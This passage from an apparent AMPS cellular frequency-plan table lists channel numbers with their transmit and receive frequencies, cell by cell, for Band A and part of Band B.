Channel 16 (16) Tx 870.480 Rx 825.480

Cell # 4

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (330) Tx 879.900 Rx 834.900

Channel 2 (309) Tx 879.270 Rx 834.270

Channel 3 (288) Tx 878.640 Rx 833.640

Channel 4 (267) Tx 878.010 Rx 833.010

Channel 5 (246) Tx 877.380 Rx 832.380

Channel 6 (225) Tx 876.750 Rx 831.750

Channel 7 (204) Tx 876.120 Rx 831.120

Channel 8 (183) Tx 875.490 Rx 830.490

Channel 9 (162) Tx 874.860 Rx 829.860

Channel 10 (141) Tx 874.230 Rx 829.230

Channel 11 (120) Tx 873.600 Rx 828.600

Channel 12 (99) Tx 872.970 Rx 827.970

Channel 13 (78) Tx 872.340 Rx 827.340

Channel 14 (57) Tx 871.710 Rx 826.710

Channel 15 (36) Tx 871.080 Rx 826.080

Channel 16 (15) Tx 870.450 Rx 825.450

Cell # 5

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (329) Tx 879.870 Rx 834.870

Channel 2 (308) Tx 879.240 Rx 834.240

Channel 3 (287) Tx 878.610 Rx 833.610

Channel 4 (266) Tx 877.980 Rx 832.980

Channel 5 (245) Tx 877.350 Rx 832.350

Channel 6 (224) Tx 876.720 Rx 831.720

Channel 7 (203) Tx 876.090 Rx 831.090

Channel 8 (182) Tx 875.460 Rx 830.460

Channel 9 (161) Tx 874.830 Rx 829.830

Channel 10 (140) Tx 874.200 Rx 829.200

Channel 11 (119) Tx 873.570 Rx 828.570

Channel 12 (98) Tx 872.940 Rx 827.940

Channel 13 (77) Tx 872.310 Rx 827.310

Channel 14 (56) Tx 871.680 Rx 826.680

Channel 15 (35) Tx 871.050 Rx 826.050

Channel 16 (14) Tx 870.420 Rx 825.420

Cell # 6

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (328) Tx 879.840 Rx 834.840

Channel 2 (307) Tx 879.210 Rx 834.210

Channel 3 (286) Tx 878.580 Rx 833.580

Channel 4 (265) Tx 877.950 Rx 832.950

Channel 5 (244) Tx 877.320 Rx 832.320

Channel 6 (223) Tx 876.690 Rx 831.690

Channel 7 (202) Tx 876.060 Rx 831.060

Channel 8 (181) Tx 875.430 Rx 830.430

Channel 9 (160) Tx 874.800 Rx 829.800

Channel 10 (139) Tx 874.170 Rx 829.170

Channel 11 (118) Tx 873.540 Rx 828.540

Channel 12 (97) Tx 872.910 Rx 827.910

Channel 13 (76) Tx 872.280 Rx 827.280

Channel 14 (55) Tx 871.650 Rx 826.650

Channel 15 (34) Tx 871.020 Rx 826.020

Channel 16 (13) Tx 870.390 Rx 825.390

Cell # 7

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (327) Tx 879.810 Rx 834.810

Channel 2 (306) Tx 879.180 Rx 834.180

Channel 3 (285) Tx 878.550 Rx 833.550

Channel 4 (264) Tx 877.920 Rx 832.920

Channel 5 (243) Tx 877.290 Rx 832.290

Channel 6 (222) Tx 876.660 Rx 831.660

Channel 7 (201) Tx 876.030 Rx 831.030

Channel 8 (180) Tx 875.400 Rx 830.400

Channel 9 (159) Tx 874.770 Rx 829.770

Channel 10 (138) Tx 874.140 Rx 829.140

Channel 11 (117) Tx 873.510 Rx 828.510

Channel 12 (96) Tx 872.880 Rx 827.880

Channel 13 (75) Tx 872.250 Rx 827.250

Channel 14 (54) Tx 871.620 Rx 826.620

Channel 15 (33) Tx 870.990 Rx 825.990

Channel 16 (12) Tx 870.360 Rx 825.360

Cell # 8

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (326) Tx 879.780 Rx 834.780

Channel 2 (305) Tx 879.150 Rx 834.150

Channel 3 (284) Tx 878.520 Rx 833.520

Channel 4 (263) Tx 877.890 Rx 832.890

Channel 5 (242) Tx 877.260 Rx 832.260

Channel 6 (221) Tx 876.630 Rx 831.630

Channel 7 (200) Tx 876.000 Rx 831.000

Channel 8 (179) Tx 875.370 Rx 830.370

Channel 9 (158) Tx 874.740 Rx 829.740

Channel 10 (137) Tx 874.110 Rx 829.110

Channel 11 (116) Tx 873.480 Rx 828.480

Channel 12 (95) Tx 872.850 Rx 827.850

Channel 13 (74) Tx 872.220 Rx 827.220

Channel 14 (53) Tx 871.590 Rx 826.590

Channel 15 (32) Tx 870.960 Rx 825.960

Channel 16 (11) Tx 870.330 Rx 825.330

Cell # 9

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (325) Tx 879.750 Rx 834.750

Channel 2 (304) Tx 879.120 Rx 834.120

Channel 3 (283) Tx 878.490 Rx 833.490

Channel 4 (262) Tx 877.860 Rx 832.860

Channel 5 (241) Tx 877.230 Rx 832.230

Channel 6 (220) Tx 876.600 Rx 831.600

Channel 7 (199) Tx 875.970 Rx 830.970

Channel 8 (178) Tx 875.340 Rx 830.340

Channel 9 (157) Tx 874.710 Rx 829.710

Channel 10 (136) Tx 874.080 Rx 829.080

Channel 11 (115) Tx 873.450 Rx 828.450

Channel 12 (94) Tx 872.820 Rx 827.820

Channel 13 (73) Tx 872.190 Rx 827.190

Channel 14 (52) Tx 871.560 Rx 826.560

Channel 15 (31) Tx 870.930 Rx 825.930

Channel 16 (10) Tx 870.300 Rx 825.300

Cell # 10

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (324) Tx 879.720 Rx 834.720

Channel 2 (303) Tx 879.090 Rx 834.090

Channel 3 (282) Tx 878.460 Rx 833.460

Channel 4 (261) Tx 877.830 Rx 832.830

Channel 5 (240) Tx 877.200 Rx 832.200

Channel 6 (219) Tx 876.570 Rx 831.570

Channel 7 (198) Tx 875.940 Rx 830.940

Channel 8 (177) Tx 875.310 Rx 830.310

Channel 9 (156) Tx 874.680 Rx 829.680

Channel 10 (135) Tx 874.050 Rx 829.050

Channel 11 (114) Tx 873.420 Rx 828.420

Channel 12 (93) Tx 872.790 Rx 827.790

Channel 13 (72) Tx 872.160 Rx 827.160

Channel 14 (51) Tx 871.530 Rx 826.530

Channel 15 (30) Tx 870.900 Rx 825.900

Channel 16 (9) Tx 870.270 Rx 825.270

Cell # 11

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (323) Tx 879.690 Rx 834.690

Channel 2 (302) Tx 879.060 Rx 834.060

Channel 3 (281) Tx 878.430 Rx 833.430

Channel 4 (260) Tx 877.800 Rx 832.800

Channel 5 (239) Tx 877.170 Rx 832.170

Channel 6 (218) Tx 876.540 Rx 831.540

Channel 7 (197) Tx 875.910 Rx 830.910

Channel 8 (176) Tx 875.280 Rx 830.280

Channel 9 (155) Tx 874.650 Rx 829.650

Channel 10 (134) Tx 874.020 Rx 829.020

Channel 11 (113) Tx 873.390 Rx 828.390

Channel 12 (92) Tx 872.760 Rx 827.760

Channel 13 (71) Tx 872.130 Rx 827.130

Channel 14 (50) Tx 871.500 Rx 826.500

Channel 15 (29) Tx 870.870 Rx 825.870

Channel 16 (8) Tx 870.240 Rx 825.240

Cell # 12

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (322) Tx 879.660 Rx 834.660

Channel 2 (301) Tx 879.030 Rx 834.030

Channel 3 (280) Tx 878.400 Rx 833.400

Channel 4 (259) Tx 877.770 Rx 832.770

Channel 5 (238) Tx 877.140 Rx 832.140

Channel 6 (217) Tx 876.510 Rx 831.510

Channel 7 (196) Tx 875.880 Rx 830.880

Channel 8 (175) Tx 875.250 Rx 830.250

Channel 9 (154) Tx 874.620 Rx 829.620

Channel 10 (133) Tx 873.990 Rx 828.990

Channel 11 (112) Tx 873.360 Rx 828.360

Channel 12 (91) Tx 872.730 Rx 827.730

Channel 13 (70) Tx 872.100 Rx 827.100

Channel 14 (49) Tx 871.470 Rx 826.470

Channel 15 (28) Tx 870.840 Rx 825.840

Channel 16 (7) Tx 870.210 Rx 825.210

Cell # 13

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (321) Tx 879.630 Rx 834.630

Channel 2 (300) Tx 879.000 Rx 834.000

Channel 3 (279) Tx 878.370 Rx 833.370

Channel 4 (258) Tx 877.740 Rx 832.740

Channel 5 (237) Tx 877.110 Rx 832.110

Channel 6 (216) Tx 876.480 Rx 831.480

Channel 7 (195) Tx 875.850 Rx 830.850

Channel 8 (174) Tx 875.220 Rx 830.220

Channel 9 (153) Tx 874.590 Rx 829.590

Channel 10 (132) Tx 873.960 Rx 828.960

Channel 11 (111) Tx 873.330 Rx 828.330

Channel 12 (90) Tx 872.700 Rx 827.700

Channel 13 (69) Tx 872.070 Rx 827.070

Channel 14 (48) Tx 871.440 Rx 826.440

Channel 15 (27) Tx 870.810 Rx 825.810

Channel 16 (6) Tx 870.180 Rx 825.180

Cell # 14

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (320) Tx 879.600 Rx 834.600

Channel 2 (299) Tx 878.970 Rx 833.970

Channel 3 (278) Tx 878.340 Rx 833.340

Channel 4 (257) Tx 877.710 Rx 832.710

Channel 5 (236) Tx 877.080 Rx 832.080

Channel 6 (215) Tx 876.450 Rx 831.450

Channel 7 (194) Tx 875.820 Rx 830.820

Channel 8 (173) Tx 875.190 Rx 830.190

Channel 9 (152) Tx 874.560 Rx 829.560

Channel 10 (131) Tx 873.930 Rx 828.930

Channel 11 (110) Tx 873.300 Rx 828.300

Channel 12 (89) Tx 872.670 Rx 827.670

Channel 13 (68) Tx 872.040 Rx 827.040

Channel 14 (47) Tx 871.410 Rx 826.410

Channel 15 (26) Tx 870.780 Rx 825.780

Channel 16 (5) Tx 870.150 Rx 825.150

Cell # 15

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (319) Tx 879.570 Rx 834.570

Channel 2 (298) Tx 878.940 Rx 833.940

Channel 3 (277) Tx 878.310 Rx 833.310

Channel 4 (256) Tx 877.680 Rx 832.680

Channel 5 (235) Tx 877.050 Rx 832.050

Channel 6 (214) Tx 876.420 Rx 831.420

Channel 7 (193) Tx 875.790 Rx 830.790

Channel 8 (172) Tx 875.160 Rx 830.160

Channel 9 (151) Tx 874.530 Rx 829.530

Channel 10 (130) Tx 873.900 Rx 828.900

Channel 11 (109) Tx 873.270 Rx 828.270

Channel 12 (88) Tx 872.640 Rx 827.640

Channel 13 (67) Tx 872.010 Rx 827.010

Channel 14 (46) Tx 871.380 Rx 826.380

Channel 15 (25) Tx 870.750 Rx 825.750

Channel 16 (4) Tx 870.120 Rx 825.120

Cell # 16

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (318) Tx 879.540 Rx 834.540

Channel 2 (297) Tx 878.910 Rx 833.910

Channel 3 (276) Tx 878.280 Rx 833.280

Channel 4 (255) Tx 877.650 Rx 832.650

Channel 5 (234) Tx 877.020 Rx 832.020

Channel 6 (213) Tx 876.390 Rx 831.390

Channel 7 (192) Tx 875.760 Rx 830.760

Channel 8 (171) Tx 875.130 Rx 830.130

Channel 9 (150) Tx 874.500 Rx 829.500

Channel 10 (129) Tx 873.870 Rx 828.870

Channel 11 (108) Tx 873.240 Rx 828.240

Channel 12 (87) Tx 872.610 Rx 827.610

Channel 13 (66) Tx 871.980 Rx 826.980

Channel 14 (45) Tx 871.350 Rx 826.350

Channel 15 (24) Tx 870.720 Rx 825.720

Channel 16 (3) Tx 870.090 Rx 825.090

Cell # 17

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (317) Tx 879.510 Rx 834.510

Channel 2 (296) Tx 878.880 Rx 833.880

Channel 3 (275) Tx 878.250 Rx 833.250

Channel 4 (254) Tx 877.620 Rx 832.620

Channel 5 (233) Tx 876.990 Rx 831.990

Channel 6 (212) Tx 876.360 Rx 831.360

Channel 7 (191) Tx 875.730 Rx 830.730

Channel 8 (170) Tx 875.100 Rx 830.100

Channel 9 (149) Tx 874.470 Rx 829.470

Channel 10 (128) Tx 873.840 Rx 828.840

Channel 11 (107) Tx 873.210 Rx 828.210

Channel 12 (86) Tx 872.580 Rx 827.580

Channel 13 (65) Tx 871.950 Rx 826.950

Channel 14 (44) Tx 871.320 Rx 826.320

Channel 15 (23) Tx 870.690 Rx 825.690

Channel 16 (2) Tx 870.060 Rx 825.060

Cell # 18

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (316) Tx 879.480 Rx 834.480

Channel 2 (295) Tx 878.850 Rx 833.850

Channel 3 (274) Tx 878.220 Rx 833.220

Channel 4 (253) Tx 877.590 Rx 832.590

Channel 5 (232) Tx 876.960 Rx 831.960

Channel 6 (211) Tx 876.330 Rx 831.330

Channel 7 (190) Tx 875.700 Rx 830.700

Channel 8 (169) Tx 875.070 Rx 830.070

Channel 9 (148) Tx 874.440 Rx 829.440

Channel 10 (127) Tx 873.810 Rx 828.810

Channel 11 (106) Tx 873.180 Rx 828.180

Channel 12 (85) Tx 872.550 Rx 827.550

Channel 13 (64) Tx 871.920 Rx 826.920

Channel 14 (43) Tx 871.290 Rx 826.290

Channel 15 (22) Tx 870.660 Rx 825.660

Channel 16 (1) Tx 870.030 Rx 825.030

Cell # 19

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (315) Tx 879.450 Rx 834.450

Channel 2 (294) Tx 878.820 Rx 833.820

Channel 3 (273) Tx 878.190 Rx 833.190

Channel 4 (252) Tx 877.560 Rx 832.560

Channel 5 (231) Tx 876.930 Rx 831.930

Channel 6 (210) Tx 876.300 Rx 831.300

Channel 7 (189) Tx 875.670 Rx 830.670

Channel 8 (168) Tx 875.040 Rx 830.040

Channel 9 (147) Tx 874.410 Rx 829.410

Channel 10 (126) Tx 873.780 Rx 828.780

Channel 11 (105) Tx 873.150 Rx 828.150

Channel 12 (84) Tx 872.520 Rx 827.520

Channel 13 (63) Tx 871.890 Rx 826.890

Channel 14 (42) Tx 871.260 Rx 826.260

Channel 15 (21) Tx 870.630 Rx 825.630

Cell # 20

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (314) Tx 879.420 Rx 834.420

Channel 2 (293) Tx 878.790 Rx 833.790

Channel 3 (272) Tx 878.160 Rx 833.160

Channel 4 (251) Tx 877.530 Rx 832.530

Channel 5 (230) Tx 876.900 Rx 831.900

Channel 6 (209) Tx 876.270 Rx 831.270

Channel 7 (188) Tx 875.640 Rx 830.640

Channel 8 (167) Tx 875.010 Rx 830.010

Channel 9 (146) Tx 874.380 Rx 829.380

Channel 10 (125) Tx 873.750 Rx 828.750

Channel 11 (104) Tx 873.120 Rx 828.120

Channel 12 (83) Tx 872.490 Rx 827.490

Channel 13 (62) Tx 871.860 Rx 826.860

Channel 14 (41) Tx 871.230 Rx 826.230

Channel 15 (20) Tx 870.600 Rx 825.600

Cell # 21

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (313) Tx 879.390 Rx 834.390

Channel 2 (292) Tx 878.760 Rx 833.760

Channel 3 (271) Tx 878.130 Rx 833.130

Channel 4 (250) Tx 877.500 Rx 832.500

Channel 5 (229) Tx 876.870 Rx 831.870

Channel 6 (208) Tx 876.240 Rx 831.240

Channel 7 (187) Tx 875.610 Rx 830.610

Channel 8 (166) Tx 874.980 Rx 829.980

Channel 9 (145) Tx 874.350 Rx 829.350

Channel 10 (124) Tx 873.720 Rx 828.720

Channel 11 (103) Tx 873.090 Rx 828.090

Channel 12 (82) Tx 872.460 Rx 827.460

Channel 13 (61) Tx 871.830 Rx 826.830

Channel 14 (40) Tx 871.200 Rx 826.200

Channel 15 (19) Tx 870.570 Rx 825.570

****************************************

BAND B

Cell # 1

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (334) Tx 880.020 Rx 835.020 Channel 2 (355) Tx 880.650 Rx 835.650

Channel 3 (376) Tx 881.280 Rx 836.280

Channel 4 (397) Tx 881.910 Rx 836.910

Channel 5 (418) Tx 882.540 Rx 837.540

Channel 6 (439) Tx 883.170 Rx 838.170

Channel 7 (460) Tx 883.800 Rx 838.800

Channel 8 (481) Tx 884.430 Rx 839.430

Channel 9 (502) Tx 885.060 Rx 840.060

Channel 10 (523) Tx 885.690 Rx 840.690

Channel 11 (544) Tx 886.320 Rx 841.320

Channel 12 (565) Tx 886.950 Rx 841.950

Channel 13 (586) Tx 887.580 Rx 842.580

Channel 14 (607) Tx 888.210 Rx 843.210

Channel 15 (628) Tx 888.840 Rx 843.840

Channel 16 (649) Tx 889.470 Rx 844.470

Cell # 2

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (335) Tx 880.050 Rx 835.050

Channel 2 (356) Tx 880.680 Rx 835.680

Channel 3 (377) Tx 881.310 Rx 836.310

Channel 4 (398) Tx 881.940 Rx 836.940

Channel 5 (419) Tx 882.570 Rx 837.570

Channel 6 (440) Tx 883.200 Rx 838.200

Channel 7 (461) Tx 883.830 Rx 838.830

Channel 8 (482) Tx 884.460 Rx 839.460

Channel 9 (503) Tx 885.090 Rx 840.090

Channel 10 (524) Tx 885.720 Rx 840.720

Channel 11 (545) Tx 886.350 Rx 841.350

Channel 12 (566) Tx 886.980 Rx 841.980

Channel 13 (587) Tx 887.610 Rx 842.610

Channel 14 (608) Tx 888.240 Rx 843.240

Channel 15 (629) Tx 888.870 Rx 843.870

Channel 16 (650) Tx 889.500 Rx 844.500

Cell # 3

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (336) Tx 880.080 Rx 835.080

Channel 2 (357) Tx 880.710 Rx 835.710

Channel 3 (378) Tx 881.340 Rx 836.340

Channel 4 (399) Tx 881.970 Rx 836.970

Channel 5 (420) Tx 882.600 Rx 837.600

Channel 6 (441) Tx 883.230 Rx 838.230

Channel 7 (462) Tx 883.860 Rx 838.860

Channel 8 (483) Tx 884.490 Rx 839.490

Channel 9 (504) Tx 885.120 Rx 840.120

Channel 10 (525) Tx 885.750 Rx 840.750

Channel 11 (546) Tx 886.380 Rx 841.380

Channel 12 (567) Tx 887.010 Rx 842.010

Channel 13 (588) Tx 887.640 Rx 842.640

Channel 14 (609) Tx 888.270 Rx 843.270

Channel 15 (630) Tx 888.900 Rx 843.900

Channel 16 (651) Tx 889.530 Rx 844.530

Cell # 4

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (337) Tx 880.110 Rx 835.110

Channel 2 (358) Tx 880.740 Rx 835.740

Channel 3 (379) Tx 881.370 Rx 836.370

Channel 4 (400) Tx 882.000 Rx 837.000

Channel 5 (421) Tx 882.630 Rx 837.630

Channel 6 (442) Tx 883.260 Rx 838.260

Channel 7 (463) Tx 883.890 Rx 838.890

Channel 8 (484) Tx 884.520 Rx 839.520

Channel 9 (505) Tx 885.150 Rx 840.150

Channel 10 (526) Tx 885.780 Rx 840.780

Channel 11 (547) Tx 886.410 Rx 841.410

Channel 12 (568) Tx 887.040 Rx 842.040

Channel 13 (589) Tx 887.670 Rx 842.670

Channel 14 (610) Tx 888.300 Rx 843.300

Channel 15 (631) Tx 888.930 Rx 843.930

Channel 16 (652) Tx 889.560 Rx 844.560

Cell # 5

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (338) Tx 880.140 Rx 835.140

Channel 2 (359) Tx 880.770 Rx 835.770

Channel 3 (380) Tx 881.400 Rx 836.400

Channel 4 (401) Tx 882.030 Rx 837.030

Channel 5 (422) Tx 882.660 Rx 837.660

Channel 6 (443) Tx 883.290 Rx 838.290

Channel 7 (464) Tx 883.920 Rx 838.920

Channel 8 (485) Tx 884.550 Rx 839.550

Channel 9 (506) Tx 885.180 Rx 840.180

Channel 10 (527) Tx 885.810 Rx 840.810

Channel 11 (548) Tx 886.440 Rx 841.440

Channel 12 (569) Tx 887.070 Rx 842.070

Channel 13 (590) Tx 887.700 Rx 842.700

Channel 14 (611) Tx 888.330 Rx 843.330

Channel 15 (632) Tx 888.960 Rx 843.960

Channel 16 (653) Tx 889.590 Rx 844.590

Cell # 6

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (339) Tx 880.170 Rx 835.170

Channel 2 (360) Tx 880.800 Rx 835.800

Channel 3 (381) Tx 881.430 Rx 836.430

Channel 4 (402) Tx 882.060 Rx 837.060

Channel 5 (423) Tx 882.690 Rx 837.690

Channel 6 (444) Tx 883.320 Rx 838.320

Channel 7 (465) Tx 883.950 Rx 838.950

Channel 8 (486) Tx 884.580 Rx 839.580

Channel 9 (507) Tx 885.210 Rx 840.210

Channel 10 (528) Tx 885.840 Rx 840.840

Channel 11 (549) Tx 886.470 Rx 841.470

Channel 12 (570) Tx 887.100 Rx 842.100

Channel 13 (591) Tx 887.730 Rx 842.730

Channel 14 (612) Tx 888.360 Rx 843.360

Channel 15 (633) Tx 888.990 Rx 843.990

Channel 16 (654) Tx 889.620 Rx 844.620

Cell # 7

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (340) Tx 880.200 Rx 835.200

Channel 2 (361) Tx 880.830 Rx 835.830

Channel 3 (382) Tx 881.460 Rx 836.460

Channel 4 (403) Tx 882.090 Rx 837.090

Channel 5 (424) Tx 882.720 Rx 837.720

Channel 6 (445) Tx 883.350 Rx 838.350

Channel 7 (466) Tx 883.980 Rx 838.980

Channel 8 (487) Tx 884.610 Rx 839.610

Channel 9 (508) Tx 885.240 Rx 840.240

Channel 10 (529) Tx 885.870 Rx 840.870

Channel 11 (550) Tx 886.500 Rx 841.500

Channel 12 (571) Tx 887.130 Rx 842.130

Channel 13 (592) Tx 887.760 Rx 842.760

Channel 14 (613) Tx 888.390 Rx 843.390

Channel 15 (634) Tx 889.020 Rx 844.020

Channel 16 (655) Tx 889.650 Rx 844.650

Cell # 8

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (341) Tx 880.230 Rx 835.230

Channel 2 (362) Tx 880.860 Rx 835.860

Channel 3 (383) Tx 881.490 Rx 836.490

Channel 4 (404) Tx 882.120 Rx 837.120

Channel 5 (425) Tx 882.750 Rx 837.750

Channel 6 (446) Tx 883.380 Rx 838.380

Channel 7 (467) Tx 884.010 Rx 839.010

Channel 8 (488) Tx 884.640 Rx 839.640

Channel 9 (509) Tx 885.270 Rx 840.270

Channel 10 (530) Tx 885.900 Rx 840.900

Channel 11 (551) Tx 886.530 Rx 841.530

Channel 12 (572) Tx 887.160 Rx 842.160

Channel 13 (593) Tx 887.790 Rx 842.790

Channel 14 (614) Tx 888.420 Rx 843.420

Channel 15 (635) Tx 889.050 Rx 844.050

Channel 16 (656) Tx 889.680 Rx 844.680

Cell # 9

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (342) Tx 880.260 Rx 835.260

Channel 2 (363) Tx 880.890 Rx 835.890

Channel 3 (384) Tx 881.520 Rx 836.520

Channel 4 (405) Tx 882.150 Rx 837.150

Channel 5 (426) Tx 882.780 Rx 837.780

Channel 6 (447) Tx 883.410 Rx 838.410

Channel 7 (468) Tx 884.040 Rx 839.040

Channel 8 (489) Tx 884.670 Rx 839.670

Channel 9 (510) Tx 885.300 Rx 840.300

Channel 10 (531) Tx 885.930 Rx 840.930

Channel 11 (552) Tx 886.560 Rx 841.560

Channel 12 (573) Tx 887.190 Rx 842.190

Channel 13 (594) Tx 887.820 Rx 842.820

Channel 14 (615) Tx 888.450 Rx 843.450

Channel 15 (636) Tx 889.080 Rx 844.080

Channel 16 (657) Tx 889.710 Rx 844.710

Cell # 10

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (343) Tx 880.290 Rx 835.290

Channel 2 (364) Tx 880.920 Rx 835.920

Channel 3 (385) Tx 881.550 Rx 836.550

Channel 4 (406) Tx 882.180 Rx 837.180

Channel 5 (427) Tx 882.810 Rx 837.810

Channel 6 (448) Tx 883.440 Rx 838.440

Channel 7 (469) Tx 884.070 Rx 839.070

Channel 8 (490) Tx 884.700 Rx 839.700

Channel 9 (511) Tx 885.330 Rx 840.330

Channel 10 (532) Tx 885.960 Rx 840.960

Channel 11 (553) Tx 886.590 Rx 841.590

Channel 12 (574) Tx 887.220 Rx 842.220

Channel 13 (595) Tx 887.850 Rx 842.850

Channel 14 (616) Tx 888.480 Rx 843.480

Channel 15 (637) Tx 889.110 Rx 844.110

Channel 16 (658) Tx 889.740 Rx 844.740

Cell # 11

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (344) Tx 880.320 Rx 835.320

Channel 2 (365) Tx 880.950 Rx 835.950

Channel 3 (386) Tx 881.580 Rx 836.580

Channel 4 (407) Tx 882.210 Rx 837.210

Channel 5 (428) Tx 882.840 Rx 837.840

Channel 6 (449) Tx 883.470 Rx 838.470

Channel 7 (470) Tx 884.100 Rx 839.100

Channel 8 (491) Tx 884.730 Rx 839.730

Channel 9 (512) Tx 885.360 Rx 840.360

Channel 10 (533) Tx 885.990 Rx 840.990

Channel 11 (554) Tx 886.620 Rx 841.620

Channel 12 (575) Tx 887.250 Rx 842.250

Channel 13 (596) Tx 887.880 Rx 842.880

Channel 14 (617) Tx 888.510 Rx 843.510

Channel 15 (638) Tx 889.140 Rx 844.140

Channel 16 (659) Tx 889.770 Rx 844.770

Cell # 12

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (345) Tx 880.350 Rx 835.350

Channel 2 (366) Tx 880.980 Rx 835.980

Channel 3 (387) Tx 881.610 Rx 836.610

Channel 4 (408) Tx 882.240 Rx 837.240

Channel 5 (429) Tx 882.870 Rx 837.870

Channel 6 (450) Tx 883.500 Rx 838.500

Channel 7 (471) Tx 884.130 Rx 839.130

Channel 8 (492) Tx 884.760 Rx 839.760

Channel 9 (513) Tx 885.390 Rx 840.390

Channel 10 (534) Tx 886.020 Rx 841.020

Channel 11 (555) Tx 886.650 Rx 841.650

Channel 12 (576) Tx 887.280 Rx 842.280

Channel 13 (597) Tx 887.910 Rx 842.910

Channel 14 (618) Tx 888.540 Rx 843.540

Channel 15 (639) Tx 889.170 Rx 844.170

Channel 16 (660) Tx 889.800 Rx 844.800

Cell # 13

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (346) Tx 880.380 Rx 835.380

Channel 2 (367) Tx 881.010 Rx 836.010

Channel 3 (388) Tx 881.640 Rx 836.640

Channel 4 (409) Tx 882.270 Rx 837.270

Channel 5 (430) Tx 882.900 Rx 837.900

Channel 6 (451) Tx 883.530 Rx 838.530

Channel 7 (472) Tx 884.160 Rx 839.160

Channel 8 (493) Tx 884.790 Rx 839.790

Channel 9 (514) Tx 885.420 Rx 840.420

Channel 10 (535) Tx 886.050 Rx 841.050

Channel 11 (556) Tx 886.680 Rx 841.680

Channel 12 (577) Tx 887.310 Rx 842.310

